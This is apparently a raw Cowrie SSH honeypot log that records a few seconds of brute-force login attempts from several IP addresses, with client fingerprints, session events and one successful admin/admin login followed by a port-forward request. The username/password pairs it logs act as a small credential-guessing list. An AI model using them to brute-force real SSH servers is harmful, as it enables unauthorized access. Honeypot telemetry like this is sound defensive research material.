{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:56.979952Z","src_ip":"5.196.136.131","session":"dab6fc1e2fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20121979","message":"login attempt [root/20121979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:57.499386Z","src_ip":"103.176.20.57","session":"64749ba56f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":46044,"dst_ip":"10.17.0.5","dst_port":22,"session":"002d30b661fd","protocol":"ssh","message":"New connection: 213.202.230.81:46044 (10.17.0.5:22) [session: 002d30b661fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:58.018272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:58.021634Z","src_ip":"213.202.230.81","session":"002d30b661fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:58.058166Z","src_ip":"5.196.136.131","session":"dab6fc1e2fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:58.110893Z","src_ip":"213.202.230.81","session":"002d30b661fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celsius","password":"celsius123","message":"login attempt [celsius/celsius123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:58.374590Z","src_ip":"213.202.230.81","session":"002d30b661fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:58.747277Z","src_ip":"103.176.20.57","session":"64749ba56f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:59.465013Z","src_ip":"213.202.230.81","session":"002d30b661fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":12540,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5202e0cde5","protocol":"ssh","message":"New connection: 5.196.136.131:12540 (10.17.0.5:22) [session: 6c5202e0cde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:01.090044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:01.094885Z","src_ip":"5.196.136.131","session":"6c5202e0cde5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:01.171864Z","src_ip":"5.196.136.131","session":"6c5202e0cde5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:01.404875Z","src_ip":"5.196.136.131","session":"6c5202e0cde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:02.484111Z","src_ip":"5.196.136.131","session":"6c5202e0cde5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41008,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc0c46edc2a5","protocol":"ssh","message":"New connection: 5.196.136.131:41008 (10.17.0.5:22) [session: cc0c46edc2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:05.521005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:05.524806Z","src_ip":"5.196.136.131","session":"cc0c46edc2a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:05.601576Z","src_ip":"5.196.136.131","session":"cc0c46edc2a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:05.833133Z","src_ip":"5.196.136.131","session":"cc0c46edc2a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:06.913065Z","src_ip":"5.196.136.131","session":"cc0c46edc2a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":34850,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d077836c02","protocol":"ssh","message":"New connection: 176.53.159.196:34850 (159.203.135.109:22) [session: 90d077836c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.127179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.130111Z","src_ip":"176.53.159.196","session":"90d077836c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.235338Z","src_ip":"176.53.159.196","session":"90d077836c02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.597024Z","src_ip":"176.53.159.196","session":"90d077836c02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.694834Z","session":"90d077836c02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.790862Z","src_ip":"176.53.159.196","session":"90d077836c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.887665Z","src_ip":"176.53.159.196","session":"90d077836c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":54081,"dst_ip":"10.17.0.5","dst_port":22,"session":"75767a607d05","protocol":"ssh","message":"New connection: 5.196.136.131:54081 (10.17.0.5:22) [session: 75767a607d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.955801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:09.959978Z","src_ip":"5.196.136.131","session":"75767a607d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:10.035414Z","src_ip":"5.196.136.131","session":"75767a607d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:10.262319Z","src_ip":"5.196.136.131","session":"75767a607d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:11.341098Z","src_ip":"5.196.136.131","session":"75767a607d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.125.165.132","src_port":55308,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbdf35bd9b27","protocol":"ssh","message":"New connection: 113.125.165.132:55308 (10.17.0.5:22) [session: fbdf35bd9b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:11.655847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:11.659757Z","src_ip":"113.125.165.132","session":"fbdf35bd9b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:11.900774Z","src_ip":"113.125.165.132","session":"fbdf35bd9b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"converse","message":"login attempt [root/converse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:12.911714Z","src_ip":"113.125.165.132","session":"fbdf35bd9b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:14.156114Z","src_ip":"113.125.165.132","session":"fbdf35bd9b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":35416,"dst_ip":"10.17.0.5","dst_port":22,"session":"c974e308a770","protocol":"ssh","message":"New connection: 5.196.136.131:35416 (10.17.0.5:22) [session: c974e308a770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:14.358262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:14.360912Z","src_ip":"5.196.136.131","session":"c974e308a770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:14.450822Z","src_ip":"5.196.136.131","session":"c974e308a770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:14.685746Z","src_ip":"5.196.136.131","session":"c974e308a770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:15.765444Z","src_ip":"5.196.136.131","session":"c974e308a770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":14384,"dst_ip":"10.17.0.5","dst_port":22,"session":"65af7a11774d","protocol":"ssh","message":"New connection: 5.196.136.131:14384 (10.17.0.5:22) [session: 65af7a11774d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:18.800400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:18.806541Z","src_ip":"5.196.136.131","session":"65af7a11774d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:18.881965Z","src_ip":"5.196.136.131","session":"65af7a11774d","protocol":"ssh"}
